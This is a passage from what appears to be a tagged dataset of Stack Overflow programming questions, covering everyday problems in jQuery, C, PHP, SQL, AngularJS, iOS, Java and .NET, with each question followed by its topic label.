how to find id of <tr> element from inside <a> element   i have html like this  i want to get <code>&lt;tr id= box&lt;%# eval( id ) %&gt; </code>when i click on 5  tag   using jquery    please note this is my <code>itemtemplate</code>  so there are many items with same html     <pre><code>&lt;tr id= box&lt;%# eval( id ) %&gt;  style= height: 30px; &gt;         &lt;td&gt;             &lt;div class= languagename &gt;&lt;%# eval( languagename )%&gt;&lt;/div&gt;         &lt;/td&gt;         &lt;td text-align: center; &gt;             &lt;a href= javascript:fun1(1) &gt;&lt;/a&gt;             &lt;a href= javascript:fun1(2) &gt;&lt;/a&gt;             &lt;a href= javascript:fun1(3) &gt;&lt;/a&gt;             &lt;a href= javascript:fun1(4) &gt;&lt;/a&gt;             &lt;a href= javascript:fun1(5) &gt;&lt;/a&gt;         &lt;/td&gt; </code></pre>   please have a look here for 2 items : <a href= http://jsfiddle.net/bthbl/  rel= nofollow >http://jsfiddle.net/bthbl/</a>    so when i click on any <code>&lt;a&gt;</code> from td   i wan to get parent <code>tr</code> id,jquery
how do i extract the last value of every output   here is the contents of my text file which consists of a name like  output1  followed by a series of numbers   output2  followed by a series of numbers and so on separated by a single space...i want to extract last value of every output. how do i do this  ie.  i want to extract the value of  output1  as 29.933215(ie. the value just before  output2 ) and the values of  output2  as 379.983559    <ul> <li>content of text file is as shown below:</li> </ul>   output1 30.000000 29.999969 29.999907 29.999783 29.999535 29.999039 29.998047 29.996063 29.992133 29.988202 29.984273 29.980343 29.976414 29.972485 29.968556 29.964628 29.960700 29.956773 29.952846 29.948919 29.944992 29.941066 29.937140 29.933215  output2 380.000000 379.999990 379.999970 379.999930 379.999850 379.999691 379.999372 379.998734 379.997469 379.996204 379.994940 379.993675 379.992411 379.991146 379.989882 379.988617 379.987353 379.986088 379.984824 379.983559  output3 1.761964 1.761964 1.761964 1.761964 1.761964 1.761964 1.761964 1.761964 1.761963 1.761963 1.761963 1.761963 1.761963 1.761963 1.761963 1.761963 1.761962 1.761962 1.761962 1.761962 1.761961 1.761961 1.761961 1.761960,c#
modifying second column for primary key  hello i have table which has a primary key now on the basis of my need i have to create another primary key means the second primary key but its showing this error message   <pre><code> alter table `abc` add primary key(`zzz`) mysql said: documentation  #1068 - multiple primary key define  </code></pre>   here is the command:   <pre><code>alter table `abc` add primary key(`zzz`) </code></pre>,mysql
angular nested conditions using ng-switch  is it possible to have a root first condition been evaluated using ng-show  ng-if  or ng-switch  before a series of second tier conditions are evaluated using ng-switch   <pre><code>&lt;div ng-if= firstcondition =  true   &gt;    &lt;div ng-switch= secondcondition &gt;       &lt;div ng-switch-when= 0 &gt;          &lt;div ng-include=  firstview.html  &gt;&lt;/div&gt;       &lt;/div&gt;       &lt;div ng-switch-when= 2 &gt;          &lt;div ng-include=  secondview.html  &gt;&lt;/div&gt;       &lt;/div&gt;       &lt;div ng-switch-when= 3 &gt;          &lt;div ng-include=  thirdview.html  &gt;&lt;/div&gt;       &lt;/div&gt;    &lt;/div&gt; &lt;/div&gt; </code></pre>,angularjs
got segmention fault in my function after do malloc for char *  like i said in title  i have that problem. this is my code  i try with <code>printf</code> function to check where stops program and find that <code>for</code> loop causes that issue  thank on any advice! i want with this function to return address to char pointer.   <pre><code>char *my_getline(int len) {   char *p = (char *) malloc(len); // i tried also without (char *)  it s same thing.   if ( p == null)   return null;    int d c;   for ( d = 0;d&lt;len-1 &amp;&amp; (c=getchar())!= eof &amp;&amp; c!=  \n ;d++)      *p++ = c;     if ( c ==  \n )      {         *p =  \0 ;         return p;      }     else         return null;    } </code></pre>   edit: submitted length is defined to 100  and that isn t so much substantially  because when i enter one char  program crushes.,c
"wrapped image max-height  looking for another solution  although code is very symetric  my image changes size when i narrow window on width but nothing happens on window height change. probably i understand what is mistake but i don t see any solution.    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>div {
   max-width: 50vw;
   max-height: 50vh;
 }
 img {
   max-width: 100%;
   max-height: 100%;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div&gt;
   &lt;img src= http://imgsv.imaging.nikon.com/lineup/lens/zoom/normalzoom/af-s_dx_18-300mmf_35-56g_ed_vr/img/sample/sample4_l.jpg &gt;notes
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
can server hits the client directly  i have a small requirement in php as below. some thing like chat.    for eg there are 2 users a &amp; b.    when  a  clicks on  chat  link.   b  should automatically gets one javascript popup.    is there any way of doing this except following. - one js script runs continuously with ajax.  i dont want to happen client-server interaction continuously.    is there any way for server sending status to browser directly .    thanks in advance.,php
rescue exception thrown by a redirect_to :back  little background information: i have a project with authenticated users which can have multiple  scopes  of data. a scope determines which records can and can t be accessed by a user. a logged in user is always subsribed to a single scope stored in the session.    a user can at any time switch between the scopes he has access to  regardless of which page he is on.    after a scope switch i would like to <em>try</em> to reload the same page by using <code>redirect_to :back</code>. this is not always possible  since the current scope might not allow access to the page that was previously being viewed.    in those cases  the controller in question will throw an <code>activerecord::recordnotfound</code> exception in the respective controller on the <code>.find(params[:id])</code> call  which is very ugly. i would very much like to gracefully fallback to a <code>redirect_to :root</code> with an accompanying alert message.    currently i have this  but this does not work:   <pre><code>  def switch_scope     s = current_client.scopes.find(params[:scope_id])     set_scope(s.id)     begin       flash[:notice] =  scope switched succesfully.        redirect_to :back # &lt;= this might throw notfoundexception     rescue       flash[:alert] =  scope switched. page could not be reloaded        redirect_to :root     end   end </code></pre>   <strong>edit</strong>  for example  the <code>redirect_to :back</code> might go back to this show product function:   <pre><code>def show   @product = product.where(scope_id: session[:scope_id]).find(params[:id]) end </code></pre>   as you can see  it first filters all propducts based on the selected scope in the session. then it does a find(id) on that subset. it is very possible that after a scope switch the product with said id is no longer accessible  giving a <code>recordnotfoundexception</code>.     now again  this is an example and many of these constructions exists in my application  so preferably i do not want to edit it on this side manually.,ruby-on-rails
find median and mode from .txt file python 3.4.1  i am trying to determine the median and mode from a list of numbers in  numbers.txt  file.  i am extremely new to python and have zero coding experience.     this is what i have so far calculating mean  sum  count  max  and min but i have no idea where to go from here.    <pre><code>number_file_name =  numbers.txt  number_sum = 0 number_count = 0 number_average = 0 number_maximum = 0 number_minimum = 0 number_range = 0  do_calculation = true while(do_calculation):      while (true):         try:             # get the name of a file             number_file_name = input( enter a filename. be sure to include .txt after the file name:  )             random_number_count = 0              print(  )              random_number_file = open(number_file_name   r )             print ( file name:    number_file_name   :   sep=  )              print(  )              numbers = random_number_file.readlines()             random_number_file.close         except:             print( an error occured trying to read   random_number_file)         else:             break      try:          number_file = open(number_file_name   r )          is_first_number = true          for number in number_file:             number = int(number)  # convert the read string to an int              if (is_first_number):                 number_maximum = number                 number_minimum = number                 is_first_number = false              number_sum += number             number_count += 1             if (number &gt; number_maximum):                 number_maximum = number             if (number &lt; number_minimum):                 number_minimum = number          number_average = number_sum / number_count         number_range = number_maximum - number_minimum          index = 0         listnumbers = 0         while index &lt; len(numbers):             numbers[index] = int(numbers[index])             index += 1           number_file.close()     except exception as err:         print ( an error occurred reading   number_file_name)         print ( the error is   err)     else:         print ( sum:    number_sum)         print ( count:   number_count)         print ( average:   number_average)         print ( maximum:   number_maximum)         print ( minimum:   number_minimum)         print ( range:   number_range)         print ( median:   median)      another_calculation = input( do you want to enter in another file name  (y/n):  )     if(another_calculation != y ):         do_calculation = false </code></pre>,python
is there any way to parse microsoft excel in iphone   i want to parse an excel sheet and have to display the content in table view. suggestions please.,iphone
chrome does not show resize handle when content overflows div  when a div tag is re-sizable but is dynamically created with an image that over flows the div tag  chrome does not show the resize handle. this works fine firefox.  i know it s a little hard to see in this pic but the re-size indicator is not there on the left side of the image which represents chrome  while it is present on the right which indicates firefox. any ideas     <img src= https://i.stack.imgur.com/7fofl.gif  alt= enter image description here >    btw: i do have my own resizer in the css   <pre><code> ::-webkit-resizer: {     cursor:se-resize;     background :url( /images/corner.png ) no-repeat right bottom;  } </code></pre>   here s the fiddle  : jsfiddle.net/1ltly5qw/2  open in chrome.,css
why pass float parameter to [uicolor getred:green:blue:alpha] will cause crash: exc_bad_access    code sample(ios 8 simulator &amp; xcode6):   <pre><code>-(void)viewdidload{     [super viewdidload];      uicolor *color = [uicolor whitecolor];     float a b c;     [color getred:&amp;a green:&amp;b blue:&amp;c alpha:nil];//incompatible pointer types sending  float *  to parameter of type  cgfloat *  (aka  double * ) } </code></pre>   i know that cgfloat is defined as double on 64 bit devices  but how could this cause crash,ios
interview questions relating to hashtable & dictionary  i have been recently drilled in a couple of interviews about hashtables and when is it neccessary to override the gethashcode(). the discussion kept going deeper and deeper until i threw in the towel.     i am now doing some research to cover everything to be ready for next time.    i have found this excellent article that i would like to share: <a href= http://msdn.microsoft.com/en-us/library/ms379571(vs.80).aspx#datastructures20_2_topic5  rel= noreferrer >http://msdn.microsoft.com/en-us/library/ms379571(vs.80).aspx#datastructures20_2_topic5</a>    <strong>1)</strong> something i don t feel very comfortable with are the fact that dictionaries are hash based  but lists are apparently not.  does that only mean that searching in a list&lt;> and array[] is linear  while searching in a dictionary or hashtable is constant and therefore much faster  is this all to it     <strong>2)</strong> if i use a class as a key in a dictionary  i need to override gethashcode() on that class based on any required identification fields to make the instances unique. however it still could happen that both id fields are equal and the same hashcode would be generated  if this is the case what happens during a collision of the two instances with the same hashcode       <strong>3)</strong> how can the collision be resolved  i read in the article about rehashing methodology in case of collision for hashtable and chaining for the dictionary. but i am still not sure how it works exactly as i am not a math genius. :-\  can anybody explain it better how it works     many thanks  kave,.net
can foribly killing a .net program lead to memory leak   from what i understand about .net  when i run an exe that was built in .net  clr targeted by the exe is loaded into the process and then the exe itself. i know that the memory clean up is a part of the clr s job.     so my question is if i start task manager and kill the process  would that mean that the clr won t be able to run and clean up any references to the heap and thus causing memory leak  or does the the operating system guarantee that any memory used by the process is reclaimed when the process is killed,.net
determine if there is a value in a text field after submitting form  all  i have a contact form on my page. i ve got some jquery things to contorl the form submission and i also have some php validation before i send the form. i m still getting some blank emails. i make the email address and name a required field. i then have the following php:   <pre><code>&lt; php $email = $_post[ email ]; if($email !=   ){      //send email } </code></pre>   i m still getting emails though. would use the empty function work  i m just trying to make sure there is actually text in the field for it to send instead of being able to send the blank form. what methods do people use to control this     thanks in advance!,php
using functions to demarcate scope  the <a href= http://eloquentjavascript.net/10_modules.html  rel= nofollow >eloquent javascript chapter on modules</a> offers the following example for using functions to demarcate scope:   <pre><code>var dayname = function() {     var names = [ sunday    monday    tuesday    wednesday    thursday    friday    saturday ];     return function(number) {         return names[number];     }; }(); </code></pre>   it is not clear to me how the above offers any benefit (scoping and name-pollution-wise) over the simpler:   <pre><code>function dayname(number) {     var names = [ sunday    monday    tuesday    wednesday    thursday    friday    saturday ];     return names[number]; } </code></pre>,javascript
detect which is the current running application in device in ios.  is there any possible way to track which application is running in foreground in device in ios.  for example if i am using facebook app i need to get the name of the application from my application.    if sms application is used i need to get the name of the application from my application.,ios
uitableviewcell background image  i have a small problem with the uitableviewcell. i m using the code:   <pre><code>uiview *cellbackview = [[uiview alloc] initwithframe:cgrectzero];         cellbackview.backgroundcolor = [uicolor colorwithpatternimage: [uiimage imagenamed:@ navigation.png ]];         cell.backgroundview = cellbackview; </code></pre>   but look what happend ;  <a href= http://cl.ly/070f1c3n143v0w1y2g2q  rel= nofollow >http://cl.ly/070f1c3n143v0w1y2g2q</a>    somebody know how to fix it,objective-c
sticky d element inside a fixed element scrolls with content outside fixed element  i have an element with <code>position: sticky</code> nested inside an element with <code>position: fixed</code>  which is overlaid on top of the page s scrollable main content like so: <a href= https://jsfiddle.net/feihcsim/z5p6tjmb/25  rel= nofollow noreferrer >https://jsfiddle.net/feihcsim/z5p6tjmb/25</a>    why is it that the <code>sticky</code>d element scrolls when i scroll on the main content,css
how to hide html source & disable right click and text copy   the following website has both right click and view source disabled.    <a href= http://www.immihelp.com/visitor-visa/sponsor-documents.html  rel= noreferrer >http://www.immihelp.com/visitor-visa/sponsor-documents.html</a>    can anyone shine some light on how this is possible,html
attempting to find inactive users with a sql query  returning too many rows  i ve got the following relationship:   <blockquote>    user &lt;-- 1:many --> playlists &lt;-- 1:many --> playlistitems  </blockquote>   when a new user is created they are automatically given one  empty playlist.    i am attempting to select all users which have only 1 playlist and that playlist must be empty.    here s what i ve got:   <pre><code>select * from users u  join playlists p on userid = u.id where (0 = (select count(*) from playlistitems where playlistid = p.id) and (1 = (select count(*) from playlists where userid = u.id))) </code></pre>   this is returning too many users. some of them definitely have playlists with 1+ items in them  but i don t see the error in my sql.     alright  i went with gordon linoff s solution and here s how it looks when i use it as a delete:   <pre><code>delete from users  where id in (     select u.id     from users u join          playlists pl          on u.id = pl.userid left outer join          playlistitems pli          on pli.playlistid = pl.id     group by u.id     having count(pl.id) = 1 and            count(pli.id) = 0 ) </code></pre>,sql
basic if/then with php  okay so i set up this thing so that i can print out page that people came from  and then put dummy tags on certain pages.  some pages have commented out  linkto  tags with text in between them.      my problem is that some of my pages don t have  linkto  text.  when i link to this page from there i want it to grab everything between  title  and  /title .  how can i change the eregi so that if it turns up empty  it should then grab the title     here is what i have so far  i know i just need some kind of if/then but i m a rank beginner.  thank you in advance for any help:   <pre><code> &lt; php   $filesource = $_server[ http_referer ];  $a = fopen($filesource  r ); //fopen( html_file.html   r );  $string = fread($a 1024);   &gt;  &lt; php  if (eregi( &lt;linkto&gt;(.*)&lt;/linkto&gt;    $string  $out)) {  $outdata = $out[1];  }  //echo $outdata;  $outdatapart = explode(       $outdata);   echo $part[0]; </code></pre>    >,php
two quesrystring in href of <a>  i wanted to put  &amp;  with second querystring in html  in .aspx design. when i type  &amp;  in href html   visual studio start hilighting as error. what could be the solution to resolve this,asp.net
modelclass data passing  i have two viewcontrollers and i need to pass data between the viewcontrollers using model class concept.    all i need to know is why and how is it used  what is the advantage  the technical writing from the book i m reading makes it hard to understand.,ios
how does tab-press work in html page  i got some problem when user pressed the tab-key. there should be a static way in which the user can jump from one form element to the next.     i know there is a posibility to declare in which order the elements should be selected with tabindex.    now i would like to know how does the browser decide which element is focused as next element after pressing tab.    edit: does it only walk down the dom or does look it on the position on rendered website  that s what i want to know.,html
runtime error of scanf();  in following c code scanf is not working. when program is run  it execute upto the second printf line and after it skips the  scanf( %c  &amp;sex); and directly execute next printf(). why this so happen  i run this code on different c compilers  but the output is same.   <pre><code>#include&lt;stdio.h&gt; void main() {   char mar sex;   int age flag=0;    printf( married [y/n]: );   scanf( %c  &amp;mar);    printf( sex [m/f] : );   scanf( %c  &amp;sex);   //**this not working**    printf( age : ); //**execution directly jumped here**   scanf( %d  &amp;age);    if(mar== y )     flag=1;   else if(sex== m &amp;&amp; age&gt;=30)     flag=1;   else if(sex== f &amp;&amp; age&gt;=25)     flag=1;   else   {   }   if(flag)   {     printf( congratulations!!!! you are egligible.. );   else     printf( sorry... you are not egligible.. );  getch(); } </code></pre>   //output   <pre><code>married [y/n]:y sex [m/f] :age :23 congratulations!!!! you are egligible.. </code></pre>,c
restricting system resources to .net application  i am maintaining a managed windows service project which basically invoke/run the (managed) jobs (ijob implementations from different sub-teams) at scheduled time. there are few jobs which occasionally stall the system resources.     while waiting for my sub-teams to debug/fix their jobs  is there any way that i can somehow control in my parent executor before it happens…for instance starting multiple appdomains and then somehow restricting system resources (cpu  memory  number of managed threads the job can spawn etc) allowed to each appdomain  can windows activation service (windows 2008) help if we host the jobs as wcf and invoke them through was,.net
how to retrieve the cell number from an iphone through xcode   is it possible for an ios app to retrieve the cell number of an iphone  it is possible on android but i am not sure about ios. any help would be appreciated.,ios
angularjs how to force an input to be re-rendered on blur  i have some custom validation code  which includes a $formatter.  (i store currency in pence for correctness  but display in pounds.pence.)    if the user types  10  into the input (which is a valid value)  the input remains displaying  10  after they move to the next field.    i would like it to display 10.00 for consistency.    if the model changed the value to 1000  then the formatter would make the field display  10.00 .    i would like the formatter to run on field.blur() (so long as the input is valid).    my problem is that if i change the model value from 10 to 10  there is understandably no change  and so the field is not re-rendered.    code:   <pre><code>var currency_regexp = /^\- \d+(\. \d \d ) $/; app.directive( currency   function() {   return {     require:  ngmodel       link: function(scope  elm  attrs  ctrl) {       ctrl.$parsers.unshift(function(viewvalue) {         if (currency_regexp.test(viewvalue)) {           // it is valid           ctrl.$setvalidity( currency   true);           console.log( valid );           return viewvalue * 100;         } else if (viewvalue ===   ) {           return 0;         } else {           // it is invalid  return undefined (no model update)           ctrl.$setvalidity( currency   false);           console.log( invalid );           return undefined;         }       });       ctrl.$formatters.push(function(modelvalue) {          if (modelvalue === 0) { // we re using integer pence  so this is safe              return   ;          }          return (modelvalue / 100).tofixed(2);        });     }   }; }); </code></pre>   p.s. this has nothing to do with angular s built-in  currency .   <hr>   update: i ve added a  renderonblur  directive  as per andy s answer.  it gets called  but calling the render method does not re-render the input.  i.e.  10  stays as  10   rather than changing to  10.00  as desired.      (when the model value changes in these fields  they are correctly rendered with the 2 decimal places.)    the page which andy mentions <a href= http://docs.angularjs.org/api/ng.directive:ngmodel.ngmodelcontroller  rel= noreferrer >http://docs.angularjs.org/api/ng.directive:ngmodel.ngmodelcontroller</a> says that you have to implement <code>$render</code> yourself.  this seems odd  as the inputs are already rendered correctly when the model value changes.   <pre><code>app.directive( renderonblur   function() {     return {         require:  ngmodel           restrict:  a           link: function(scope  elm  attrs  ctrl) {             elm.bind( blur   function() {                 console.log( rendering ctrl   ctrl);                 ctrl.$render();             });         }     };   }); </code></pre>   p.s. i have no idea what <code>restrict:  a  </code> does - it s true cargo-cult programming at its worst.  the <code>require:  ngmodel  </code> seems necessary to populate the <code>ctrl</code> parameter.   <hr>   inspired by the answer from @dan doyen  i rewrote it as:   <pre><code>app.directive( renderonblur   function() {     return {         require:  ngmodel           restrict:  a           link: function(scope  elm  attrs  ctrl) {             elm.bind( blur   function() {                 var viewvalue = ctrl.$modelvalue;                 for (var i in ctrl.$formatters) {                     viewvalue = ctrl.$formatters[i](viewvalue);                 }                 ctrl.$viewvalue = viewvalue;                 ctrl.$render();             });         }     };   }); </code></pre>   this has the benefit of being generic for any $formatter  rather than repeating the formatter code as in dan s answer.,angularjs
python if a = this or this or this  if i have a function:   <pre><code>if a_string ==  a  or a_string ==  b  or a_string ==  c :     # do this </code></pre>   how can i write that differently without the repetitive or statements  or is that the best way,python
why do i get a segmentation fault when trying to map a string to its tokens   i need to map string to arrays such that <code> hacker </code> maps to <code>[  h    ack    er  ]</code>. that is  i need to find the largest sets of contiguous characters in a string that are in increasing order.    i have to write a function that takes   <ul> <li><strong>a string</strong></li> <li>a pointer to <strong>an array of strings</strong></li> <li>a pointer to <strong>the size of the latter</strong></li> </ul>   such that   <pre><code>f( hacker ) = ([  h    ack    er ]  3) </code></pre>   a typical call and use of this function would be   <pre><code>char **tokens = null; size_t tokens_length = 0; tokenize( hacker   &amp;tokens  &amp;tokens_size) printf( [  ); for (int i = 0; i &lt; tokens_length; i++) {     printf( \ %s\     tokens[i]); } printf( ] ); </code></pre>   here s the body of the function that i wrote   <pre><code>void tokenize (const char *s  char ***tokens  size_t *tokens_length) {     char *current_ptr = null;     char *previous_ptr = null;     size_t characters_read = 0;     current_ptr = previous_ptr = s;     for (; current_ptr &lt; s + strlen(s);) {         characters_read = characters_read + 1;         if (*(current_ptr + 1) &lt; *current_ptr) {             *tokens_length = *tokens_length + 1;             *tokens = (char**)realloc((void*)*tokens  *tokens_length * sizeof(char*));             *tokens[*tokens_length - 1] = (char*)calloc(characters_read + 1  sizeof(char));             strncpy(*tokens[*tokens_length - 1]  previous_ptr  characters_read * sizeof(char));             previous_ptr = current_ptr + 1;             characters_read = 0;         }         current_ptr = current_ptr + 1;     } } </code></pre>   and here s the typical output ...   <pre><code>[1]    4789 segmentation fault (core dumped) </code></pre>   do you have a clue about why i m failing to manage the memory    <hr>   <a href= https://gist.github.com/giuscri/2f6a0bfeffbcc1704405  rel= nofollow >here</a> is the source that i m trying to make it work.,c
objective c method to return a dynamic type  i have many child-entities which inherit properties from the same baseentity.    i would like to write a generic method which accepts any of the children and sets the base properties.     <pre><code>childdto *child = [[childdto alloc] init]; child = [baseentitydto setbaseproperties:child fromdictionary:src]; </code></pre>   the above gives the  incompatible pointer type  error.    when i try casting the resulting baseentity to one of it s child classes  the cast fails and the object remains of type baseentity.   <pre><code>child = (childdto*)[baseentitydto setbaseproperties:child fromdictionary:src]; </code></pre>   apparently casting is a bad idea in objective c due to the use of pointers and there appears to be no  dynamic  type to set as the return type.    so what s the correct way to solve this problem,objective-c
convert string num to number javascript  i was ask a question in an interview to convert a string number to a number. eg : my string is  ten  . and i have to convert it to number 10.    please help.    thanks,javascript
how to implement a void method as opposed to a method that returns something   i am just consfused on how to implement these two methods like how call them or use them  since the first one is void how does it work      someone please use and an array and implement this for me or help me understand how the first void method works    <pre><code>public static void insertionsort(int[] numbers) {     for (int i = 0; i &lt; numbers.length; i++) {          int copynumber = numbers[i];          int j = i;          while (j &gt; 0 &amp;&amp; copynumber &lt; numbers[j-1]) {              numbers[j] = numbers[j-1];              j--;          }          numbers[j] = copynumber;     } }  public int[] insertionsort(int[] data){     int len = data.length;     int key = 0;     int i = 0;     for(int j = 1;j&lt;len;j++){         key = data[j];         i = j-1;         while(i&gt;=0 &amp;&amp; data[i]&gt;key){             data[i+1] = data[i];             i = i-1;             data[i+1]=key;         }     }     return data; } </code></pre>,java
separate int from string on file input  i was wondering if anyone could help me with a little problem in java: i have a file with some equations like:   <pre><code>z=1x1+3x2 -1x1+5x2&lt;=2 1x1-1x2&lt;=56 </code></pre>   and so on..    and i wanted to read this file and separate the values 1 and 3 (of z=1x1+3x2) in one string and -1 5 2 1 -1 56 in another.,java
moving an image with a button  i ve got a button. after you click it  it disappears. i want to make it move a uiimageview continuously down a page with one click.     i ve tried a for loop statement but the image just drops down 200  y coordinates. this is the statement:   <pre><code>for (int i = 1; i &lt;= 200; i++) {     cgrect oldframe = _rocketship.frame;     cgrect newframe = cgrectmake(oldframe.origin.x  oldframe.origin.y + 1  oldframe.size.width  oldframe.size.height);     _rocketship.frame = newframe; } [self.rocketship startanimating]; </code></pre>   i would think that the image would continuously go down the page  hence the for statement  but it doesn t. is there any other way to do this      (ps: the while loop statement does the same thing),objective-c
drag and drop and identify locations with java  i m trying to do something quite simple  but i m having a hard time finding good examples on the net to what i want specifically. i d like to somehing very similer to what it s here:  <a href= http://www.nawwal.org/jrgoff/dao/playgame.html  rel= nofollow noreferrer >dao</a>    it s a simple game called dao and i just need to have a background image with 16 squares (4x4) and drag and drop the images (pieces) on each square to the others. i m developing the interface using swing and i simply want to know a good place to find tutorials for such implementations or a simple suggestion on how to do it. thanks in advance,java
calling ascx page in aspx with differnt id names  i have an ascx page having design and code behind. i want to call that page in each wizardstep of wizard control in aspx page with different id name. but due to change in the id of ascx page in aspx page for every wizardstep i need to write the same code with different id s of ascx page.    in register.aspx page :   <pre><code> &lt;i&gt;&lt;asp:wizardstep id= wizardstep2  runat= server  title= schooling &gt;         &lt;div class= content &gt;             &lt;addr:addr id= address_acx  runat= server /&gt; //calling usercontrol with id  address_ascx                    &lt;/div&gt; &lt;/i&gt; &lt;/asp:wizardstep&gt; </code></pre>   and in code behind a function to get values :   <pre><code>public string[] getascxvalues() {          string school_name = null  sid = null  section = null;         checkbox chk = (checkbox)address_acx.id .findcontrol( chk_school );         textbox txt_school = (textbox)address_acx.findcontrol( txt_school );         if (chk.checked || address_acx.schoolnames &lt;= 1)         {             school_name = txt_school.text;             sid = bal.class1.getmaxid() + 1;             int val = convert.toint32(sid.substring(1  6)) + 1;             sid = sid.substring(0  1) + val.tostring().padleft(6   0 );         }         else         {             school_name = address_acx.selectedschollname;             sid = address_acx.selectedschoolcode;         }         checkbox chk_sec = (checkbox)address_acx.findcontrol( chk_section );         textbox txt_sec = (textbox)address_acx.findcontrol( txt_section );         if (chk_sec.checked || address_acx.sectioncount &lt;= 1)         {             section = txt_sec.text;         }         else         {             section = address_acx.selectedsec;         }         string[] a = new string[10];         a[0] = address_acx.selectedyear;         a[1] = address_acx.selectedmandal;         a[2] = address_acx.selectedvillage;         a[3] = school_name;         a[4] = sid;         a[5] = section;         return a;          } </code></pre>   now the problem is in next wizard step i have to re write the above function with another id of the ascx page.,asp.net
why would you need to specify a language in a html hyperlink   this is an example code  where i have seen the language of the link being specified  what difference does this make    <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;   &lt;meta charset= utf-8 &gt;   &lt;title&gt;how to create a hyperlink&lt;/title&gt; &lt;/head&gt; &lt;body&gt;   &lt;a href= http://w3resource.com  hreflang= en &gt;w3resource tutorial&lt;/a&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,html
better way to check for null in java  i am checking for null value from the service which involves database transaction like this   <pre><code>if(!id.matches( - \\d+(\\.\\d+)  ) || contactservice.getcontact(id) == null){        throw new resourcenotfoundexception();   } contact contact = contactservice.getcontact(id); </code></pre>   but by this way i am calling getcontact service twice and its a overhead for the application   any better way to check for null value  so that i just need to call my service once.,java
mbsctows to count the number of wide characters in an array  i am currently working on unix and cobol and have hit an requirement where i need to provide the number of chinese and korean characters in the received message which i plan to accomplish in c program using mbstows.    i am using the below code which is not giving the correct count for the chinese double byte characters but giving the byte count.   <pre><code>#include &lt;wchar.h&gt; #include &lt;stdio.h&gt; #include &lt;locale.h&gt; int main(int argc  char *argv[] ) {     if ( argc != 2 ) /* argc should be 2 for correct execution */     {         /* we print argv[0] assuming it is the program name */         printf(  usage: %s filename   argv[0] );     }     int size = getcharcount(argv[1]);     printf ( the char count  %d   size);     return size; } int getcharcount(char *argv) {     wchar_t *wcsval = null;          char *mbsval = null;     char* localeinfo;     setlocale(lc_all   zh_cn.gb18030 );      /* verify locale is set */           if (setlocale(lc_all    ) == 0)           {         /*                      printf(stderr   failed to set locale\n ); */         return 1;     }     mbsval = argv;     printf (  mbsval %s\n   mbsval);     /* validate multibyte string and convert to wide character */      int size = mbstowcs(null  mbsval  0);     if (size == -1)     {                  printf( invalid multibyte\n );                  return 1;     }     return size;  } </code></pre>   appreciate your kind response...    regards     akm,c
unresolved external symbol problems   so first time posting and real beginner so hope doing this right but really need help with this program.    thanks guys for all the help  i have made some changes and those errors have gone away  but now i am getting these:    error   5   error lnk2019: unresolved external symbol  void __cdecl searchid(struct studentrecord * int)  ( searchid@@yaxpaustudentrecord@@h@z) referenced in function _main    error   6   error lnk2019: unresolved external symbol  void __cdecl sortrecordsbyname(struct studentrecord * int)  ( sortrecordsbyname@@yaxpaustudentrecord@@h@z) referenced in function _main    error   7   error lnk2019: unresolved external symbol  void __cdecl getinformation(struct studentrecord * const int)  ( getinformation@@yaxqaustudentrecord@@h@z) referenced in function _main    error   8   error lnk1120: 3 unresolved externals    here is the revised code:   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;iomanip&gt; using namespace std;  const int max_size = 20;  struct answers {     char answer1;     char answer2;     char answer3;     char answer4;     char answer5; };  struct studentrecord {     int id;     char student_name[max_size];     answers answer;     double score;     double average;     char letter_grade; };  void getinformation(studentrecord student[]  int&amp;); void enterkey(char[]); void calculateavgandletter(studentrecord *student  int  char[]); void sortrecordsbyname(studentrecord * student  int); void displayresults(studentrecord * student  int); bool displayreport(studentrecord * student  int); void searchid(studentrecord * student  int);     int main() {     int search;     int id = 0;     bool check = false;     char repeat =  y ;      const int max_students = 10;     int number_of_students = 0;     char key[5];      do {         cout &lt;&lt;  how many students:  ;         cin &gt;&gt; number_of_students;          studentrecord student[max_students];         enterkey(key);         getinformation(student number_of_students);         calculateavgandletter(student  number_of_students  key);         sortrecordsbyname(student  number_of_students);         displayresults(student  number_of_students);          cout &lt;&lt;  would you like to search for a student (y for yes and n for no) :  ;         cin &gt;&gt; search;          while (search !=  n  &amp;&amp; search !=  y )          {             cout &lt;&lt;  wrong id  &lt;&lt; endl;             cout &lt;&lt;  would you like to search for another student (y for yes and n for no) :  ;             cin &gt;&gt; search;          }          if (search ==  y )          {             searchid(student  number_of_students);             check = true;          }         else             check = false;           while (check)         {             cout &lt;&lt;  would you like to search for another student (y for yes and n for no) :  ;             cin &gt;&gt; search;              while (search !=  n  &amp;&amp; search !=  y )              {                 cout &lt;&lt;  wrong id  &lt;&lt; endl;                 cout &lt;&lt;  would you like to search for another student (y for yes and n for no) :  ;                 cin &gt;&gt; search;              }              if (search ==  y )             {                 searchid(student  number_of_students);                 check = true;             }             else                 check = false;          }          cout &lt;&lt;  would you like to process another group of students(y for yes and n for no) :   &lt;&lt; endl;         cin &gt;&gt; repeat;      } while (repeat ==  y );      return 0; }  void enterkey(char key[5]) {     for (int i = 0; i &lt; 6; i++) {         cout &lt;&lt;  please enter the answer to question   &lt;&lt; i + 1 &lt;&lt;  :  ;         cin &gt;&gt; key[i]; } }  void getinformation(studentrecord *student[] int number_of_students) {     int max_students;     char again;     int i = 0;      cout &lt;&lt;  would you like to enter student information    &lt;&lt; endl;     cin &gt;&gt; again;      if (again ==  y  || again ==  y )     {         do         {             cout &lt;&lt;  please enter student   &lt;&lt; i + 1 &lt;&lt;   information:  &lt;&lt; endl;             cout &lt;&lt;  please enter student name last name first with no spaces:   &lt;&lt; endl;             cin &gt;&gt; student[i]-&gt;student_name;             cout &lt;&lt;  please enter student id number:   &lt;&lt; endl;             cin &gt;&gt; student[i]-&gt;id;              cout &lt;&lt;  please enter the student s answer to question 1:  ;             cin &gt;&gt; student[i]-&gt;answer.answer1;             cout &lt;&lt;  please enter the student s answer to question 2:  ;             cin &gt;&gt; student[i]-&gt;answer.answer2;             cout &lt;&lt;  please enter the student s answer to question 3:  ;             cin &gt;&gt; student[i]-&gt;answer.answer3;             cout &lt;&lt;  please enter the student s answer to question 4:  ;             cin &gt;&gt; student[i]-&gt;answer.answer4;             cout &lt;&lt;  please enter the student s answer to 